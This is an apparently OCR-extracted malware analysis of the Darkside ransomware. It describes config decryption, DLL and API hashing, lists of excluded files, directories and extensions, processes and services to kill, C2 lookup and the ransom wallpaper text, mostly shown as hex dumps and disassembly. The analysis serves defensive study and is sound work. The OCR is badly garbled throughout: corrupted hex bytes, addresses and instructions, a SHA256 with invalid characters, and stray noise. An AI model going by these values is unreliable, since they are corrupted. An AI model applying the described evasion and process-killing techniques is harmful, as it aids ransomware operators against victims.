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Summary

Darkside ransomware is the malware family responsible for the Colonial Pipeline attack on May 7 2021 as described

at https://www.zdnet.com/article/darkside-the-ransomware-group-responsible-for-colonial-pipeline-cyberattack-

explained/. The binary contains an encrypted configuration that will be decrypted using a custom algorithm, which
reveals a 22-byte buffer that describes different actions performed by the malware. These actions include: checking the
system language and avoiding to encrypt Russian language machines, deleting Shadow copies, wiping Recycle Bin,
ignore specific files, directories and file extensions, killing specific processes, deleting specific services, etc. The
ransomware can perform privilege escalation using the CMSTPLUA COM interface and achieves persistence by
installing itself as a service. The files are encrypted using the custom Salsa20 implementation, with the Salsa20 matrix
being encrypted by the public RSA key hard-coded in the binary. Darkside uses multithreading with 1/0 completion
ports to communicate between the main thread and the worker threads responsible for file encryptions. It’s important
to mention that the process generates a random Salsa20 matrix using the RDRAND and RDSEED instructions, as

opposed to earlier versions that use the RtlRandomEx function.

Analyst: @GeeksCyber

Technical analysis

SHA256: 0A0C225F0ESEE941A79F2B7701F1285E4975A2859EB4D025D96D9E366E81ABBY

The malware comes with an encrypted configuration that is decrypted using a custom algorithm:

Address | Hex ASCII

00421000 | ED F2 E5 ED (86 40 FD 53 |AB 18 58 38|64 6B D9 DF 'iu&'r.@yS«.dekUE\,
00421010| 92 B2 B0 1A(9C 19 86 7D|B6 AS 0D 29(36 C1 08 4A|.=%..... }1]¥.jﬁé.;l_
oo421020| BF 11 00 00|14 98 EA B3 |45 BC E6 B4|E3 AB 61 CB|ji.uuns &*El4®. 4 akE

00421030| 86 CE 47 15(25 70 F4 29|18 29 BB 03|12 58 A7 95(.1G.%pd).)»..X§.
00421040| 92 71 22 DD|7A F6 3D 8D|1E 34 85 S5E|04 85 ED DF|.q"Yzd=..4.M..1R
00421050| 7B 21 6F 33|F2 21 03 OC|95 &7 C6 A7|2B 32 OA F5|{!'03D!...QA5+2.8
00421060| 42 08 30 9E|76 1B A9 95 (4B A8 01 02|43 1F 43 17|B.0.v.8.K ..C.C.
00421070|D3 F1 24 36(32 CD FB BB|F5 OB E2 84|56 2% 20 F7|0Of$62i(,5.4.v) =
00421080 AF CC 9A 1E|6E FB AZ 77|57 52 19 2D|58 EC 71 BD| I..nlewwR.-X10%
00421090 BA 94 A9 OB|52 52 7F EF|0OB 86 7F 49|46 D7 56 06| °.8.RR.7...IFXV.
00421040 |29 5B E1 F2 |40 Bl DO FA(|5A 03 EE A4|1E 7B AO BA|)[abe+bUZ.iu.{ .
004210B0|7A F7 79 DF|CF 90 42 6D|6D BE EE BA|S8F 25 FC 58|z=yRI.emmYie.%ix
004210C0|2C 73 D2 A9|99 C2 3D 24|00 3F 77 1C|06 82 00 79| ,s08.A=%.7w....¥
004210D0| 90 95 AC BE|FO S5F SB AS|04 97 BD BS|0D AE 15 58|..-%o_[ ..%_ .%.X
004210E0|3D 1F E5 FD|9F 3F 05 15|60 65 A3 7C|80 28 FD 4A(=.4y.7.. ef|.(y]
004210F0|B5 F9 56 AA|3A 7F 13 76|65 C5 AF 1E|4A 1D 9C AE|piuv2:..wed ,J..®
00421100|E5 BB 25 01|B6 31 92 3E|B8 57 31 D4|CA ZF BF 9E| &=%.71.> W10E/..
00421110|50 AQ 70 45|38 3B OF 1C|AC 5D 69 CD|85 24 B6 BC|P pES;..-]il.$7%
00421120| 8B 20 7A 23|69 71 87 64|0B 8B 00 3B|87 21 3B D3|. z#iq.d...;.!:;0

Figure 1

The custom decryption algorithm consists of 4 subtraction operations by 0x10101010 each time and then some

addition operations, as shown below:
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Ltextl:88468B05C mov edx, [eax]
Ltextl:8848B05E mov ebx, [eax+d]
Ltextl:88468B061 mov edi, [eax+8]
.textl: 004668864 mov eax, [eax+8Ch]
Ll e 55
fextl:ead8Be67
textl: 884860867 loc_48BOR7:
Ltextl: 88488867 mov [esitecx+BCh], edx
textl:ee40B86E mov [esitecx+8], eax
textl:Bee40BB6F mov [esitecx+4], ebx
Ltextl: 884886873 mov [esitecx], edi
.textl:ee406876 sub edx, 18181818h
Ltextl:8848687C sub eax, 1818181eh
.textl: 88486881 sub ebx, 18181818h
Ltextl: 08488887 sub edi, 19181818h
Ltextl: 88486880 sub ecx, l@h
Jtextl:@a48B898 jns short loc_4BBe67
T
: Y
bl s (=
Ltextl: 88486892 wor edx, edx
dfextl: 88486894 xor ecx, ecx
.textl:0048B096 mov esi, [ebptarg_4]
Ltextl: 88486899 xor ebx, ebx
Ltextl:8e40B0898 mov edi, [ebptarg_8]
[ —————
‘ vy
lall e
Lextl:eed8B89E
Ltextl:8848B09E loc_4@8BAYE:
Ltextl:BR48BB9E mov al, byte 418858[ecx)
Jtextl: 8488044 add dl, [esitebx]
Ltextl:ee486847 add dl, al
Ltextl: 88486049 mov ah, byte 418858[edx)
Ltextl:@848B8AF inc ebx
textl:ea40B08B8 mov byte_ 418858[edx], al
.textl:8048B0B6 mov byte_4alease[ecx], ah
Ltextl:8848B8BC cmp ebx, edi
textl:8848B8BE jnb short loc_48BeCE
Figure 2

For each DLL to be loaded, there is a hash function that is applied to the DLL name, and the 4-byte result is compared

to hardcoded values:
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text:eedaleze
Ltext:90401620 loc_491628:

Ltext: 88481828 mov edi, 15B8h
text: 8481825 cmp ecx, edi

Jtext: 884681027 jnb short loc_48162B

. J
[l il =]
Ltext 98481829 mov edi, ecx

bl e [=
Jgext:eedalazb

Ltext:0884681028 loc_48162B:
Ltext:e8481828 sub ecx, edi

il i =]

Tdextieedalazd
Ltext:8e481820 loc_48182D:
Ltext: 88481020 movzx  edx, byte ptr [esi]
text:ee481838 add eax, edx
Jtext: 88481832 inc esi
Ltext: 88481633 add ebx, eax
Jtext: 88481835 dec edi
Ltext:88481036 jnz short loc_48182D
T
= Y
EIE
Ltext: 88481838 mov edi, @FFF1h
Ltext: 88481830 xor edx, edx
Ltext:9840103F div edi
Jtext:ee481841 push edx
Ltext: 88481842 mov eax, ebx
Ltext:e8481844 wor edx, edx
Ltext: 90491046 div edi
Ltext 1984810848 mov ebx, edx
Jext:eedaledd pop eax
dext: 88481848 test ecx, ecx

Figure 3

For example, the following value corresponds to kernel32.dll:

6A FF push FFFFFFFF
51 push ecx
FF 77 04 push dword ptr ds:[edi+4]
E8 A6 F7 FF FF call darkside. 401000
Ey— 3B 45 08 cmp eax,dword ptr ss:[ebp+&]
i 0 ] ~ 75 B2 jne darkside.4018C1

[edi-

i
2ax=3B98045E
dword ptr [ebp+8]=[0019FF50]=3B98045E

.Text:0040185A darkside.exe: $185A #C5A

Figure 4
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The following DLLs are expected to be loaded: ntdll, kernel32, advapi32, user32, gdi32, ole32, oleaut32, shell32,
shlwapi, wininet, netapi32, wtsapi32, activeds, userenv, mpr, rstrtmgr. The process retrieves the address of multiple

export functions based on similar hash values computed using the same algorithm:

.text:884018F4 call sub_48B080
.text:884818F9 lea eax, [ebptvar_48]
.text:884818FC push eax
.text:884818FD call LoadLibrary#

text: 80481963 mov [ebpt+var_4], eax
.text:88481986 cmp [ebptvar_4], @
Ltext:00401984 jz short loc_4@8193F
_ Yy
il s =]

.text:8840196C

Jtext:8040198C loc_48198C:
Ltext:ee40198C lodsd

Tdext:e8481980 test eax, eax
Ltext:8848190F jnz short loc_481913

s
Ltext: 88481913
Ltext:00401913 loc_481913:

Ldext 88481913 mov BCX, eax
Ltext:88481915 xchg edx, edi
Ltext: 88481917 lea edi, [ebptvar_48]

Ltext:8848191A rep movsh

Ltext:8848191C xchg edx, edi
Ltext:8848191E push eax
Ltext:8848191F lea eax, [ebptvar 48]
Ltext:88481922 push eax
Ltext:004081923 call sub_4eBBER
Ltext:88481928 lea eax, [ebptvar 48]
Ltext:88481928 push eax
Ltext:8848192C push [ebp+var_4]
Ltext:8848192F call GetProcAddress
Ldext: 88481935 test 23X, eax
Ltext:88481937 jz short loc_48193A

N
FIFIE
.text:88481939 stosd

! '

= il i =
Wi :@e481911 jmp short loc_48193F Ltext: 88481934
Ltext:8848193A loc_48193A:
Ltext:88481934 dec ebx
.text: 884081938 test ebx, ebx
.text:8848193D0 jnz short loc_48198C
I

Figure 5

The decrypted configuration is presented below and is composed of the RSA-1024 exponent (0x010001 = 65537),
0x80-byte RSA-1024 modulus, victim UID, 22 configurations bytes (will be detailed further on) and the aPLib-

compressed configuration:
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Address | Hex ASCII

02GEG718 [§l 00 01 00|00 OO0 00 00|00 00 00 00|00 00 OO0 OOJM. ....cvvvvennnn
026E6728(00 00 00 00|00 0D OO0 00|00 00 00 00|00 00 00 O0] .. vveeeennnnnnns
026E6G738(00 00 00 00|00 OD OO0 00|00 00 00 00|00 00 00 O0] .. vveeeennnnnnnn
026EG748( 00 00 OO0 00|00 OD OO0 00|00 00 00 00|00 00 00 O0] .. vveeenannennns
026E6G758( 00 00 00 00|00 OD 00 00|00 00 00 00|00 00 00 O0] . i vieeennannnnns
026E6G763( 00 00 00 00|00 OD OO0 00|00 00 00 00|00 00 00 O0] .. vveeeanannnnns
026E6G778|(00 00 00 OO|00 OD OO0 00|00 00 OO0 00|00 00 00 O0] .. voveeeannanans
02G6E6G788( 00 00 00 00|00 0D 00 00|00 00 00 00|00 00 00 O0] .. v uveeenneennns
026EG79B[EF 26 <& SE|orf 15 DB Z8|BI F3 41 EF|BL .9 O3 DB i&u> B (+0ATEGD

DZGEGFAB|7F D2 08 AD|1C 2F AA DO|2C F4 CF BC(3C 73 89 6B ‘ S E G£M¢5 k
DZ26E6FBB|DS 88 21 73 |E3 31 BE D4|CB 7D 57 9D (3B F5 AC GE|U. 'Salf-ﬁE%‘h‘ ,CI-—-H
026EG7CB|74 E5 4F 07|67 42 65 ED|C5 C8 1F E5 |90 BE A4 DE|tao.gBeiAl

026E67DB |62 20 2A E9|AC 90 8D O3 |B3 13 C1 9D|2A B2 Bl 5D|b #é-...=_A, “‘:I:J

026EGFEB|57 19 08 57|0OF &1 OE 20|4C D8 E2 D2|0%9 11 14 4F w..w.._z_l. L@ad. .

026E6FFB|6F F2 D8 61|CA C4 Al 81|60 DB 15 91|36 DA F5 57 nbﬁaEAi.‘D..ﬁ.:':-w

026EGB08 |BC C2Z ES8 B9|44 13 5F GA|7D 51 DA B0 wAe'D._jio0.2.:u
% 00

DZ2GEGB1B8 |30 36 30 37|bs 38 33 38|32 34 37 32 06078358247 2634.
026E6828|D0 90 E4 95 (6F E6 2C 27|19 56 47 14|77 58 43 79|P.d.08, . VG.WKCY
026E6838 02 01 00 01|01 O1 O1 O1|00 O1 01 01|01 01 01 01 .......0cvcumuns

D26E6B848 01 01 01 01|02 01 30 00|00 QD DD Q2 (00 0D 2E D4 ...... D...Y .....
D26E6B58( 00 OO0 BF 06|00 OO0 DO 06|00 OO FL OG(00 0D BB OF (... ..B...M... 1.
DZ26E6B6B8 (00 OO0 8B 0A|OQD OO0 64 OB|0OD OO OO0 QO[O0 OO BS OB|...... H et M.

DZ26EGB78 (00 00 BE OC |00 OO0 |4A 41|42 79 41 47 (55 41 59 77| ..%...JABYAGUAYW
026E6888 | 42 35 41 47|40 41 62 41|42 6C 41 43|34 41 59 &7 BEAGHAHAB1AE4AYQ
026E68958 42 70 41 47|34 41 41 41|42 6A 41 47 (35 41 62 67 BpAG4AAABjAGBAbg
026E68AS 42 6D 41 47 (6B 41 5A 77|41 75 41 47 (30 41 63 77 | BMAGKAZWAUAGDACW
026EGB8BS8 42 70 41 41|41 41 4A 41|42 33 41 47 (6B 41 62 67 BpAAAAJAB3AGKAbg
026E68CS 42 6B 41 47|38 41 64 77|42 7A 41 43|34 41 66 67 BKAGBAdwBzAC4ATQ
026E68D5 42 69 41 45|51 41 41 41|41 6B 41 48|63 41 61 51| BiAHQAAAAKAHCAAQ
026EGBES 42 75 41 47|51 41 62 77|42 33 41 48(4D 41 4C &7 BuAGQAbWE3AHMALQ
DZGEGBFB |42 2B 41 48|63 41 63 77|41 41 41 48(63 41 61 51| B+AHCACWAAAHCAAD
026E6908 42 75 41 47 (51 41 62 77|42 33 41 45(4D 41 41 41| BUAGQADWEIAHMAAA
026E6915 42 65 41 45|41 41 63 41|42 6B 41 47 (45 41 64 41 BRAHAACABKAGEAdA
026E6925 42 65 41 41(41 41 59 51|42 77 41 48(41 41 62 41 BRAAAAYOBEwAHAAbLA
026E6938 42 70 41 47 (4D 41 59 51|42 30 41 47 (6B 41 62 77| BpPAGMAYQBOAGKAbwW
026E69458 42 75 41 43 (41 41 5A 41|42 65 41 45(51 41 59 51| BUACAAZABhAHJQAYQ
026E6955 41 41 41 47 (49 41 62 77|42 76 41 45|51 41 41 41 AAAGTADWEVAHJAAA

Figure 6

The binary uses an aPLib-decompression algorithm to decrypt different strings. The following list represents the

directories to avoid in the encryption process:

Address | Hex

0Z26EAE30 |24 00 72 00|65 0D &3 00|72 00 &3 0OO(6C OO &5 00
026EAE40| 2E 00 &2 00|69 00 &GE 00|00 0O &3 0OD|&6F D0 GE 0O
026EAES0| 66 00 69 00|67 OO 2E 0O0|6D 00O 73 00|62 OO OO0 0O
026EAEGD| 24 00 77 00|69 0O GE 00|64 00 &F OQOO(77 0O 73 00O
026EAE7FO|2E 00 7E 00|62 0O 74 00|00 OO 24 00|77 OO &9 0O
0Z26EAEBO|6E 00 &4 0OO(6F 0O 77 00|73 00 2E OO|7FE 0O 77 00O
026EAE20 |73 00 OO0 00|77 00 &9 0OD|6E 0O &4 0OD|6F 00 77 0O
026EAEAQ |73 00 0O OO(61L OO 7O O0O|70 OO &4 0OO(61L OO 74 00
0Z26EAEBO| 61 00 0O OO(61 OO 7O 00|70 OO &C OO0(692 OO &3 00
026EAECO| 61 00 74 00|62 0O &F 00O|6E OO0 20 0OO(64 0O &1 0O
026EAEDO| 74 00 &1 OO(00 OO &2 00|6F 0O &F 0OO(74 OO OO0 0O
026EAEEQ| &7 00 &F 0OO0|&F 00 &7 0OO|&C 00 &5 00|00 OO 6D OO
026EAEFO|6F 00 7A 0OO0(69 00 &C 00|&C 00 &1 OO(00 OO 7O 0O
026EAFOO| 72 00 6F 0OO(6&67 OO 72 00|61 OO 6D OO(20 OO &6 00O
026EAF10| 62 00 &C 0OO(65 0O 73 00|0D OO 7O OO(72 OO &F 0O
026EAF20| 67 00 72 00|61 OO &D 00|20 00 &6 00|62 0D &C 00
02eEAF30|65 00 73 Q0|20 00 28 00|78 00 38 00|36 00 29 00
0Z26EAF40 |00 00 70 OO(72 OO &F 00|67 00O 72 00|61 OO 6D 0O
026EAF50| 64 00 61 0O(74 OO0 &1 0O0|0D OO 73 OO(79 OO 73 00
026EAFG0 | 74 00 &5 0OO(6D OO 20 00|76 00 &F OO(6C 0O 75 0O
026EAF7O| 6D 00 &5 0OO(20 OO &2 00|6E 00 &6 OO|(&GF OO 72 00
026EAFB0| 6D 00 61 OO(74 OO &2 00|6F 00 GE OO(00 0O 74 00O
0Z6EAF20|6F 00 72 00|20 00 &2 00|72 00 GF OO(77 OO 73 00
026EAFAD| 65 00 72 OO(00 OO 77 00|62 00 &GE 0OO(6&64 OO &F 0O
026EAFBO |77 00 73 0OO(2E OO &F 00|&C OO0 &4 00|00 OO &2 00
026EAFCO|6E 00 74 00|65 0O &C 00|00 OO 6D 0OO(73 OO &F 0O
026EAFDO| &3 00 &1 0OO(6&3 OO &8 00|65 OO0 0O OO(7F0 OO &5 0O
0Z26EAFEQ| 72 00 &6 0OO0(6C OO &F 00|6F OO 73 O0O(00 OO 78 00
026EAFFO| 36 00 34 00|64 0D &2 00|67 OO0 0O OQOO(7F0 OO 75 0O
026EBOOO| 62 00 &C 00|62 0O &3 00|0D OO 61 OO(6C OO &C 00
026EBOL1O| 20 0O 75 OO(73 OO &5 00|72 00 73 OO(00 OO &4 00
026EBO20| 65 00 &6 00|61 OO 75 00|&C OO0 74 0OO(00 OO OO OO
0Z26EBO301 40 00 ABE ABIAB ABE AB ABIAB AB 00 OO0[00 OO 00 00
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Figure 7

The following files will be ignored by the ransomware:
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Address | Hex ASCII

DZ26EBOSO 6L 00 75 00|74 00 6F 00|72 0O 75 OO|6E 0O 2E 00| A.
026EBO60| 63 00 6E 00|66 00 00 00|62 00 6F OO(6GF 00 74 0O0|1.
DZ26EBOYD|2E 00 &9 0O0|6E 00 69 00|00 0D 62 0OO|(&F 00 &F 0O
DZ26EBO8BO (74 00 &6 O0|6F 00 6E 00|74 0D 2E 00|62 00D &9 00
DZ26EBOS0D(6E OO0 0D 00|62 00 6F OO|6F 0D 74 OO(F73 00D &5 0O
DZ26EBOAD (&3 00 74 00| 2E 00 62 00|61 0D 6B 0OO(00 00D &4 00O
DZ26EBOBO( 65 00 73 O0|6E 00 74 OO|6F 0O 7O OO(2E 0D &9 0O
DZ26EBOCO | &E OO0 &9 00|00 OO0 &3 00|63 0D 6F OO(&GE 0D &3 0O
026EBODO| 61 00 &3 00|68 0O 65 00|2E 00 &4 00|62 00 OO0 00
DZ6EBOED|(6E OO0 74 00|6C 00 64 00|72 0D OO0 OO(GE OO 74 0O
DZ26EBOFO( 75 00 73 00|65 00 72 OO|2E 0D 64 0OO(61 0D 74 00
D26EB10OOD (00 OO0 6E 00|74 00 75 00|73 0D 65 00|72 00D 2ZE 00
DZ26EB110( 64 00 &1 00|74 00 2E 0O|6C 0D &F OO(&F 00 OO 0O
026EB120|6E 00 74 00|75 00 73 00|65 00 72 0O0O|2E 0D 69 0O
D26EB130(6E 00 &9 00|00 OO0 74 00|68 0D 75 OO(6D 0D &2 0O
DZ26EB140( 73 00 ZE 00|64 00 62 00|00 OO OO0 OO(0O0 OO AB AB

-l e [ R 8] e I
=h=h3 =

s =hrtp W0 =t

") s e I = L]

Figure 8
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DZ6EB150(AE AB AB AB|AE AB 00 00|00 00 OO0 OO(00 0D OO0 OO | e @eE®aneeeas
026EB160(54 34 57 3C|17 3C 00 OOICO OO 6D 02148 3B 6E 02| T4w<.<..A.m.H:n.

If the file’s extension belongs to the following list, then the file will not be encrypted by the process:

Address | Hex

b
A
H
H

DZ26EB168 |33 00 38 00|36 00 OO0 0OO|61 0D 64 0OO(F& 00 OO OO
DZ26EB1r8|(61 00 &E 00|69 00 0D 0OO|62 0D 61 OO(F74 00D OO OO
026EB188| 62 00 6% 0O0|GE 0O OO0 00|63 OO0 &1 OO|62 0O OO OO
D26EB198(63 00 6D 00|64 00 OO0 0O|63 0D &6F OO(&D OO OO OO
DZ26EB1AB (&3 00 7O 00|&C OO0 OO0 OO|63 0D 75 OO(F2 OO0 OO OO
DZ26EB1BB (64 00 &5 00|73 00 6B 00|74 0D 68 00|65 00 &1 OO
DZ26EB1CB (65 OO0 7O 00|61 00 &3 0OO0|6E 0D OO0 OO(&4 0D &9 0O
026EB1DS| 61 00 &7 00|63 00 &1 00|62 00 OO OO|64 0D 69 0O
DZ6EB1EB (61 00 &7 00|63 00 66 00|67 0O OO0 OO(&4 0D &9 OO
DZ6EB1F8(61 00 &7 00|70 00 6B 0OO|67F 00D OO0 OO(&4 0D &C 0O
D26EB208(6C 00 0D 00|64 00 72 00|76 0D OO0 OO(65 OO 78 OO
D26EB218(65 00 0D 00|68 00 &C 0O|70 OO OO0 OO(&9 OO &3 0O
026EB228|6C 00 00 00|62 00 63 00|6GE OO 73 00|00 OO 69 0O
DZ26EB238(63 00 &F 00|00 OO0 63 0O|63 00D 73 OO(00 OO &9 0O
DZ26EB248 (64 00 78 00|00 00 &C 00|64 0D 66 OO(00 OO &C 0O
DZ26EB258(6E 00 &B 00|00 00 6D 0OO|6F 0D &4 0OO(00 OO &1 OO
DZ26EB268 (70 00 &1 OO|0O0 OO 6D 00|73 00 &3 0OO(00 OO &1 OO
026EB278|73 00 70 00|00 OO 6D 00|73 00 73 00|74 00 79 0O
DZ26EB288(6eC 00 &5 00|73 00 OO0 OO|6D OO 73 OO(F5 OO0 OO OO
DZ26EB298(6E 00 &C 00|73 00 00 OO|GE 0D 6F 0OO(6D 00O &5 0O
DZ6EB2AB |64 00 &9 00|61 OO0 OO0 OO|6F 0D &3 OO(F78 00O OO OO
DZ26EB2BB |70 00 72 00|66 00 OO0 OO|70 OO 73 OO(31 OO OO OO
026EB2C8 |72 00 &F 00|6D 0O 00 00|72 00 74 00|70 OO OO0 0O
D26EB2DB (73 00 &3 00|72 00 OO0 0OO|73 0D &8 0OO(F73 00 OO OO
DZ6EBZ2ES (73 00 7O 0O0|6C OO0 OO0 OO|73 0D 79 QOO(73 00 OO OO
DZ6EB2FB8 (74 00 &8 00|65 00 6D 0OO|65 0D OO0 OO(F4 0D &8 0O
D26EB308(65 00 6D 00|65 00 7O 00|61 0D &3 0OO(&EB OO OO OO
D26EB318(7F 00 7O 00|78 00 OO0 OO|6C 0D &6F 0DO(&3 00 6B 0O
DZ26EB32B8(00 00 6B 00|65 00 79 00|00 0D &8 OO(F4 00D &1 0O
DZ26EB338(00 00 6D 00|73 00 6% 00|00 OO 7O OO|&4 0D &2 0O

T OooOTEeAEI =30
= TOATAARDWN =00 =M

s HEES == hp o Eme o

EMAVW TTO OIS =TI IOM == oMo monn oW
=AM TIEoDOoOIIVMNOoOONITS0OTAAAAANTA

SEFDITOND I==TDpA=0:"
R I = s T TR

SEEE

Figure 9

The binary intends to delete folders that contain the word “backup” in their name:

| address | Hex | AscIz

LI o =i = I - T - T =

=mpoooomIITH<

i L el et e,

M A AOWWB A A e = o= s e

arAXdnB@ RISt = 0 o

= [ = I i R
oA Xeos

| 026E3000 62| 00 61 00|63 00 &B 00|75 00 70 00|00 OO 00 OO[B.a.c

Figure 10

e [

A feature not used by the malware would use the following strings decompressed as the other ones (our guess is that

the actor would try to kill the SQL-related processes in order to encrypt databases):

| address | Hex | ascIT

026E4EBS |#3| 00 71 00(6C 00 00 00|73 00 71 0OO(6C 00 69 0O(S.q.1
DZ6E4ECB |74 00 &5 00|00 00O OO0 OO|00 0D AB AB|AB AE AB AB|(T.e..

Figure 11

The following processes will not be terminated by the file:
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Address | Hex

3|8
=
p oA

DZ6EBLS B [F& 00 6D 00|63 00 6F 0OO|6D 0D 7O OO(F5 0D 74 00
DZ26EBS68( 65 00 ZE 00|65 00 78 00|65 0O OO0 OO(F& OO &1 OO
DZ2GEBLS78(6D OO0 73 0O0|2E OO0 &5 00|78 0D 65 OO(00 0D 7& 0O
DZ26EBL 88 (6D OO0 F7 00|70 OO0 2E OO|65 OO 78 OO(65 00O OO OO
DZGEBLS98( 73 00 F& 00|63 00 68 0OO|6F 0D 73 OO(74 0D ZE 0O
DZ26EBSAB (65 00 78 00|65 OO0 OO0 OO|54 OO 65 0OO(61 OO0 &1 OO
DZGEBSBB (56 00 €9 00|65 00 77 00|65 0D 72 0OO(2E 00D &5 0O
DZ26EBSCB (78 00 &5 00|00 OO0 &5 0OO|78 00D 70 OO(&C OO &F OO
DZ26EBLDSB |72 00 &5 00|72 00 2E OO|65 0D 78 0OO|65 00 OO OO

o MmO
L =
R

[ = I

A
bbb s B Hell

XTI MWM XM T
o=t ot
om3 - -

A S

WS

-5 .

Figure 12

If a process name contains any of the following strings, it will be killed by the binary:

Address | Hex

A

026EBRDS ¥3) 00 71 00|6C 0O OO0 OO|6F OO0 72 00|61 OO 63 0O
D26EBE1B8(6C 00 &5 00|00 OO0 6F OO|63 0D 73 OO(F73 0D &4 00
DZ26EBE2B (00 00 &4 00|62 00 73 0OO|GE 0D 6D OO(F0 00O OO 0O
DZ26EBB3B8(73 00 79 00|6E 00 63 00|74 0D 69 0OO(6D OO &5 0O
DZ6EBB48 (00 00 &1 00|67 00 6E 0OO|74 0D 73 OO(76 0D &3 0O
DZGEBES8 (00 00 &9 00|73 00 71 OO|6C OO 7O OO(&C OO 75 OO
DZ6EBE6GB (73 00 73 00|76 00 &3 00|00 0D 78 OO(66 OO 73 0O
DZ26EBEFB (73 00 7& 00|63 00 63 0O0|6F 00D 6E OO(00 0O &1 0O
DZGEBESB (79 00 &4 00|65 00 73 OO|6EB 0D 74 OO(6F 0O 7O 0O
DZ2GEBE9B (73 00 &5 00|72 00 76 00|69 0D &3 0OO(65 OO0 OO OO
DZ6EBBAB|(6F 00 &3 00|61 00 75 00|74 0D 6F OO(F5 0O 7O 0O
DZ6EBEBS (64 00 73 00|00 OO0 &5 0OO|GE 0D &3 0OO(F3 00 7& 0O
DZ6EBECB (63 00 0D 00|66 OO0 69 0O|72 0D &5 O0O(&6 OO &F OO
DZGEBEDSE (78 00 0D 00|74 00 62 00|69 OO 72 00|64 00D &3 0O
DZ6EBBEB|6F 00 6E 00|66 00 &9 00|67 0D OO0 OO(6D OO 79 0O
DZ6EBEFB (64 00 &5 00|73 00 6B 00|74 0D 6F OO(70 OO 71 0O
DZ26EBFOB|(6F 00 73 00|00 00 &6F 00|63 00 &6F 0OO(6D 00O &1 0O
DZ26EBF18|( 00 00 &4 00|62 00 &5 0OO|GE 0D &7 0O0O(35 00 30 00
D26EBF28(00 00 73 00|71 00 62 00|63 0D 6F OO(F72 0D &5 0O
DZ6EBF38(73 00 &5 00|72 00 76 00|69 0D 63 0OO(65 OO OO OO
DZGEBF48(65 00 78 00|63 00 &5 0OO|6C 0O OO0 OO(&9 0D &E 0O
026EB758| 66 00 &F 00|70 00 61 00|74 0O &8 0OO|00 OO 6D OO
DZ26EBF68(73 00 61 00|63 00 &3 00|65 0D 73 OO(F73 00 OO 0O
DZ26EBF78(6D 00 73 00|70 00 75 0OO|62 0D OO0 OO(&F 0D &E 0O
DZ6EBF88(65 00 6E 0O0|6F 00 74 0O|65 0O OO0 OO(&F OO 75 0O
DZ26EBF98 (74 00 &C 00|6F 00 &6F 0OO|6E OO OO0 OO(FO 0D &F 0O
026EB7A8 |77 00 &5 00|72 00 7O 0O0|6GE OO0 74 00|00 OO 73 0O
DZGEBFBB (74 00 &5 00|61 00 6D 0OO|00Q OO 74 0OO(&8 00 &5 OO
DZGEBFCB(62 00 &1 00|74 00 OO0 OO|74 0D 68 0OO(75 0D &E 0O
DZGEBFDB (64 00 &5 00|72 00 62 00|69 00 72 00|64 00 OO OO
DZGEBFEB|( 76 00 &9 00|73 00 &9 0O0|6F 0D OO0 OO(F7 OO &9 0O
026EBFF8|6E 00 77 00|6F 00 72 00|64 00 OO0 OO|77 0D G&F DO
DZ26EBBOB (72 00 &4 00|70 00 &1 0OO|6&64 0O OO0 OO(&GE OO &F 0O
DZ26EBB18 |74 00 &5 00|70 00 61 00|64 0O OO0 OO(00 OO OO OO
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Figure 13

There is also a list of services to be stopped and deleted, as shown in the figure below:

Address | Hex

H

DZ6EBB40 [[¥& 00 73 00|73 00 00 00|73 00D 71 OO(6C 0D OO 0O
DZ26EBB50(73 00 F& 00|63 00 24 00|00 0D 6D OO(65 OO &1 00
DZ26EBB6GD |74 00 61 00|73 00 OO0 OO|6D 0D &5 OO(FO OO &F 0O
D26EBB70O(63 00 73 00|00 OO0 73 OO|6F 0O 7O OO(&8 00D &F 0O
DZ26EBB8SO( 73 00 0D OO|76 OO0 &5 0OO|65 0D 61 OO(&D OO OO OO
DZ26EBB90( 62 00 &1 00|63 00 6B 00|75 0O 70 OO(00 0D 47 00
DZGEBBAD |78 00 56 00|73 00 73 00|00 0D 47 0OO(Z8 00 42 00
DZ6EBEBBO|(6&C 00 72 00|00 OO0 47 00|78 0D 46 OO(57 00 44 00
DZ6EBBCO (00 OO0 47 00|78 00 43 00|56 0D 44 00|00 OO 47 00
DZ26EBBDO(|( 78 00 43 00|49 00 4D 0O|6F 0O 72 QO[O0 OO OO OO

[l ]
e
4]

ZNOwnEMmWNA-

[[= - L]

o< inff
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=T a ot EE
nme-

el el S

AERETE

= .
H o -

Figure 14

The list of C2 servers is also obtained using the same algorithm:

|Addre.'55 |Hex I

D26E4C10( 65 00 &5 00|73 00 2E 00|63 0D 6F 0O0O(&D 00O OO OO
D26E4C20( 72 00 75 00|6D 00 61 OO|68 0D 73 00|69 00D &1 OO

ASC
0Z26E4C00 | 62| 00 61 00|72 00 6F OO|F1 OO0 75 OO(65 00 74 00|B.a.
e.e
F.u
D26E4C30| 2E 00 &3 00|6F 00 6D 00|00 OO OO0 OO|(00 0D ABE AB o

Figure 15
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The process reveals a message that will be utilized to set a custom wallpaper that contains important instructions for

the victim:

Address | Hex ASCII
026EB900|57F| 00 65 00|6C 00 &3 00|6F OO0 &D 00|65 OO0 20 OO|(W.e.l.c.o.m.e
026EB910|74 00 &F 00|20 00 44 00|61 OO 72 OO|(6B OO 53 0O0|t.0. .D.a.r.k.5S
02GEB920|69 00 64 00|65 00 21 00|20 0D OD OO|(0A OO 20 OO|i.d.e.!. .....
026EB930|20 00 OD 0OO0|0A 00 20 00|41 00 6C OO(6C OO0 20 00| ..... i R [
026EB940|59 00 &F 00|75 00 72 00|20 00 46 00|69 00 &C 0OO|Y.o0.u.r. .F.i.1.
026EB950|65 00 73 00|20 00 41 Q0|72 00 65 00|20 OO 45 00|e.s. .A.r.e. .E.
026EB960|6E 00 63 00|72 00 79 00|70 0D 74 OO|(65 00 &4 OO|n.c.r.y.p.t.e.d.
0ZGEE970|21 00 20 00|0D DO OA 00|20 OO0 20 OO|(OD OO OA OO|!. ..... S
02GEB980| 20 00 46 00|69 00 GE 00|64 OO0 20 00|25 00 73 00| .F.i.n.d. .%.s.
02GEB990 |20 00 4] 0Q0|6E 00 &4 00|20 0D 46 OO|6F 00 &C 00| .A.n.d. .F.o.1.
026EB9A0|6C 00 &F 00|77 00 20 00|49 00 6E 00|73 00 74 00|71.0.w. .I.N.S.T.
02GEB9B0O|72 00 75 00|63 00 74 00|69 00 6F OO|GE OO 73 0O|r.u.c.t.i.0.n.5.
026EB9CO| 21 00 00 00|00 00 00 OO|AB AB AB AE|(AB AB AB AB|!....... EEE R

Figure 16

The content of the ransom note is also written in the process memory, as shown in figure 17:

Address | Hex ASCII

0Z6EBSEOQ 2 2D 20 2D (2D 2D 2D 2D|2D 2D 2D 20|5B 20 57 G5 |@——————-—-——- [ we
